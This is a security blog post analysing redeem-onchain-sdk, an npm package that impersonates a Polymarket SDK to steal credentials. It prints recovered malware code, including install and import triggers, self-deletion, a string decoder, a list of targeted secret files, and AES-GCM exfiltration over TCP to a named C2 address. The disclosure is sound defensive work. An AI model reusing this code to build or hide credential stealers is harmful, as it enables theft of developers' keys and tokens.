---
title: "Malicious redeem-onchain-sdk npm Targets Crypto Wallets"
description: "redeem-onchain-sdk impersonates a Polymarket helper SDK and exfiltrates SSH keys, AWS credentials, npm tokens, Docker configs, Chrome saved logins, and a month of local git history to an AWS-hosted C2. The payload was shipped dormant for nearly a month, then weaponized with a postinstall hook in four rapid republishes on April 29, 2026."
url: "https://safedep.io/blog/redeem-onchain-sdk-polymarket-npm-malware"
author: "Kunal Singh"
published: "2026-04-29"
---

# Malicious redeem-onchain-sdk npm Targets Crypto Wallets

## TL;DR

`redeem-onchain-sdk` is a malicious npm package impersonating a Polymarket on-chain SDK. It
collects SSH keys, AWS credentials, `.npmrc` tokens, Docker auth, Chrome saved logins, `.env`
files, and a month of git commit history, then ships everything over a raw TCP socket to an
AWS-hosted C2. Two triggers fire it: a `require()` side effect in the package's main entry point
(added in v1.0.1) and a `postinstall` hook (added in v1.0.5). The payload lives in `dist/proxy.js`,
later renamed `dist/index5_test.js`.

**Impact:**

- Steals private keys from `~/.ssh/id_rsa` and SSH config from `~/.ssh/config`
- Steals cloud credentials from `~/.aws/credentials` and Docker auth from `~/.docker/config.json`
- Steals npm publish tokens from `~/.npmrc` and `~/.netrc`
- Steals Chrome saved login database on Windows
- Reads any `.env` files in the home directory and current working directory
- Captures one month of `git log` output: commit messages, branch names, ticket references
- Deletes itself and rewrites `package.json` after execution to delay discovery

**Indicators of Compromise:**

[redeem-onchain-sdk-iocs.csv](https://safedep.io/data/blogs/redeem-onchain-sdk-iocs.csv)

## Package Overview

The package landed on npm on April 1, 2026 with the description "Polymarket on-chain allowance and
redemption utilities for USDC and conditional tokens." The keywords cover `polymarket`,
`prediction-market`, `usdc`, and `polygon`. The dependency tree is real: `@polymarket/clob-client`,
`ethers`, `consola`, `ora`, `picocolors`, `p-limit`, `p-retry`. The README is plausible. The
provider, allowances, and redeem modules implement the functions the README documents.

The `repository` and `homepage` fields are both `null`. The maintainer is `ryanmccollum1`, with no
GitHub link, no project page, and no public history of Polymarket contributions. The package is a
purpose-built credibility shell: a working SDK wrapped around a payload, targeting developers who
script against Polymarket smart contracts and keep wallet private keys, RPC tokens, and exchange API
credentials in their dev environment.

Version timeline:

```
1.0.0    2026-04-01 18:21Z   clean baseline (69 downloads)
1.0.1    2026-04-02 08:43Z   payload landed, no postinstall (96 downloads)
1.0.2    2026-04-23 21:40Z   refined payload, no postinstall (171 downloads)
1.0.4    2026-04-29 10:57Z   postinstall added, points at missing file
1.0.5    2026-04-29 11:00Z   postinstall fixed: node dist/proxy.js
1.0.6    2026-04-29 11:16Z   payload renamed to index5_test.js (postinstall broken again)
1.0.7    2026-04-29 11:20Z   postinstall fixed: node dist/index5_test.js
```

The attacker shipped 1.0.0 as a clean version, dropped the malicious payload one day later, let the
package collect 267 imports under versions 1.0.1 and 1.0.2 over four weeks, then weaponized the
install hook in four rapid republishes spanning 25 minutes on April 29.

## Two Execution Triggers

Most detection rules look for `postinstall` scripts. Versions 1.0.1 through 1.0.4 skip that
trigger entirely.

The entry point `dist/index.js` ends with one line that turns any import of the package into a
side effect:

```javascript
// package/dist/index.js (last line, present since v1.0.1)
__exportStar(require('./proxy'), exports);
```

`require("./proxy")` evaluates `dist/proxy.js`, which is the malicious file in versions 1.0.1
through 1.0.5. Anyone who imported the package, even just to read the type definitions or call
`approveUSDCAllowance`, executed the payload. No install hook required.

In v1.0.6 the file was renamed to `index5_test.js` and v1.0.7 wired `postinstall` to the new name:

```json
// package/package.json (v1.0.7)
"scripts": {
  "build": "tsc",
  "prepublishOnly": "npm run build",
  "postinstall": "node dist/index5_test.js"
}
```

After the rename, the `__exportStar(require("./proxy"))` line in `index.js` points at a file that
no longer exists, so v1.0.6 and v1.0.7 are broken as legitimate libraries. Both versions exist
only to deliver the payload.

## Self-Cleanup

The payload's first move is to remove itself from disk and replace the package manifest with a
neutral one:

```javascript
// package/dist/index5_test.js (top of file)
const _cleanupConfig = {
  deleteTarget: 'index5_test.js',
  cleanPackageJson: {
    name: 'example',
    version: '4.2.1',
  },
};
try {
  _cleanupFs.unlinkSync(_cleanupPath.resolve(__dirname, _cleanupConfig.deleteTarget));
} catch (err) {
  /* ... */
}
try {
  _cleanupFs.writeFileSync(
    _cleanupPath.join(__dirname, 'package.json'),
    JSON.stringify(_cleanupConfig.cleanPackageJson, null, 2),
    'utf8'
  );
} catch (err) {
  /* ... */
}
```

A reviewer who pulls `node_modules/redeem-onchain-sdk/dist/` after the install completes finds a
package directory with a `package.json` claiming to be `example@4.2.1` and no `index5_test.js` file
to inspect. The malicious code is gone before anyone notices it ran.

## Obfuscation Scheme

The payload's strings live in a 43-element array `_stjRaw`. Each entry uses split-string
concatenation and passes through a custom multi-layer decoder:

```javascript
// package/dist/index5_test.js (decoder, simplified)
const _stjKey = 'OrDeR_7077';
const _stjAesKey = Buffer.from('0123456789abcdef0123456789abcdef', 'utf8');
function decode(payload) {
  const normalized = payload.split('').reverse().join('').replace(/_/g, '=');
  const buffer = Buffer.from(normalized, 'base64');
  const iv = buffer.slice(0, 16);
  const ciphertext = buffer.slice(16);
  const decipher = crypto.createDecipheriv('aes-256-ctr', _stjAesKey, iv);
  const xorSource = Buffer.concat([decipher.update(ciphertext), decipher.final()]);
  const output = Buffer.alloc(xorSource.length);
  for (let i = 0; i < xorSource.length; i++) {
    output[i] = xorSource[i] ^ keyBuf[i % keyBuf.length] ^ ((7 * i * i) % 10);
  }
  return output.toString('utf8');
}
```

Reverse the string, swap `_` for `=` to repair the base64, decrypt with AES-256-CTR using a
hardcoded key, then XOR the result with `OrDeR_7077` (cycled) plus a positional polynomial
`(7·i²) mod 10`. Each decoded string is itself base64, which the payload decodes a second time at
the call site. The double encoding hides simple URLs and file paths from string scanners that
match a single base64 round.

Two independent decoder implementations produce byte-identical output across all 43 entries.
The array contains the C2 IP (`18.208.244.120`), C2
port (`9999`), the cipher name `aes-256-gcm`, the file paths to steal, the IP-discovery URL
`https://api.ipify.org?format=json`, the `git log --since="1 month ago" --format=oneline`
command, and the error log filename `.redeem_err.log`.

The array also assembles a 2048-bit RSA public key across nine entries (`stj[4]` through
`stj[12]`). The decoded `PUBLIC_KEY_DATA` constant sits at the top of the payload and is never referenced.
Dead code. The transit cipher in the actual exfiltration path
is symmetric AES-256-GCM with a hardcoded key, not RSA. The attacker likely started with hybrid encryption, RSA-wrapping a per-session AES key, then
dropped it before shipping. The decoy public key remains in the bundle and inflates the obfuscated string array,
but it touches nothing at runtime.

The payload uses `aes-256-gcm` with a hardcoded key for transit:

```javascript
// recovered: the AES-GCM key used to encrypt outbound frames
const SECRET = Buffer.from('00112233445566778899aabbccddeeff00112233445566778899aabbccddeeff', 'hex');
```

The hardcoded key hands defenders everything. Anyone who recovers the binary can decrypt every
frame the C2 received. The attacker wanted ciphertext on the wire, but included the decryption key in the same artifact.

## Collection and Exfiltration

After the cleanup, the payload reads each path in `basePaths`. The attacker left the original
inline comments in the source, annotating which secrets they're after:

```javascript
// package/dist/index5_test.js (path list, with attacker's own comments)
const basePaths = [
  stj[14], // .env
  stj[15], // .home/.env
  stj[16], // .home/.aws/credentials
  stj[17], // .home/.docker/config.json
  stj[18], // .home/.ssh/id_rsa
  stj[19], // .home/.ssh/config
  stj[20], // .home/.npmrc
  stj[21], // .home/.netrc
  stj[22], // AppData/ssh/known_hosts (Windows)
  stj[23], // LocalAppData/Google/Chrome/User Data/Default/Login Data (Windows)
  stj[24], // /tmp/session_temp.json (Linux/macOS)
];
```

For each path the payload tries both the home directory and the current working directory, reads
up to one megabyte, and appends the contents to a metrics buffer. It also runs:

```javascript
// recovered command
const { stdout } = await exec('git log --since="1 month ago" --format=oneline', { timeout: 5000 });
```

`git log` runs from whatever repo sits in the current directory when `npm install` fires. Run
install inside your working repo and the attacker takes a month of commit history with them.

Exfiltration is a length-prefixed binary frame over a raw TCP socket:

```javascript
// package/dist/index5_test.js
function buildFrame(payload) {
  const iv = crypto.randomBytes(12);
  const cipher = crypto.createCipheriv('aes-256-gcm', SECRET, iv);
  const plaintext = Buffer.from(JSON.stringify(payload), 'utf8');
  const encrypted = Buffer.concat([cipher.update(plaintext), cipher.final()]);
  const tag = cipher.getAuthTag();
  const frame = Buffer.concat([iv, encrypted, tag]);
  const length = Buffer.alloc(4);
  length.writeUInt32BE(frame.length, 0);
  return Buffer.concat([length, frame]);
}
function sendFrame(frame) {
  const client = net.connect(COMPONENT_PORT, COMPONENT_ENDPOINT, () => {
    client.write(frame);
    client.end();
  });
  /* ... */
}
```

The frame layout is `[uint32 BE length][12-byte IV][AES-256-GCM ciphertext][16-byte auth tag]`.
The attacker can override the C2 endpoint and port via `REDEEM_ENDPOINT` and `REDEEM_PORT`,
useful when rotating infrastructure. The default endpoint resolves to an AWS EC2 instance in `us-east-1`.

## Campaign Scope

Two more packages from the same maintainer carry the identical payload: `period-newline` (v0.1.0)
and `nicegui` (v0.1.0). Both were published the same day, both ship TypeScript declarations to
look like typed utility packages, and both connect to the same C2 at `18.208.244.120:9999`. This
is not an isolated incident — it is a multi-package deployment from the same actor running the
same credential-theft operation across three packages in parallel.

The maintainer `ryanmccollum1` has four other packages on npm: `agui-session-recorder`,
`agent-trace-kit`, `mcp-contract-tester`, and `neat-terminal-visualizer-84721`. The descriptions
target the AI agent ecosystem (AG-UI event capture, agent trace replay, MCP server contract
testing). Static analysis of each found no payload, no postinstall hook, and no `require()`-time side
effects as of writing.

They remain unsafe to use. The same maintainer, the same publishing pattern, and the same
ecosystem targeting mark these as seeded credibility. The `redeem-onchain-sdk` playbook
(clean v1.0.0, malicious payload one day later) can run against any of them with two minutes
of work.

All four sibling packages target AI tooling: AG-UI, MCP, agent traces. The developer building Polymarket scripts is the same developer pulling unverified packages into
agent toolchains.
This maintainer covers both.

## References

- npm package: [npmjs.com/package/redeem-onchain-sdk](https://www.npmjs.com/package/redeem-onchain-sdk)
- npm package: [npmjs.com/package/period-newline](https://www.npmjs.com/package/period-newline)
- npm package: [npmjs.com/package/nicegui](https://www.npmjs.com/package/nicegui)
- SafeDep `vet`: [github.com/safedep/vet](https://github.com/safedep/vet)
- SafeDep `pmg`: [github.com/safedep/pmg](https://github.com/safedep/pmg)
- Related analysis: [Catching the Silent Threat: Dynamic Analysis of an npm Attack Chain](https://safedep.io/blog/digging-into-dynamic-malware-analysis-signals)
- Related analysis: [dom-utils-lite npm SSH Backdoor via Supabase](https://safedep.io/blog/malicious-dom-utils-lite-npm-ssh-backdoor)
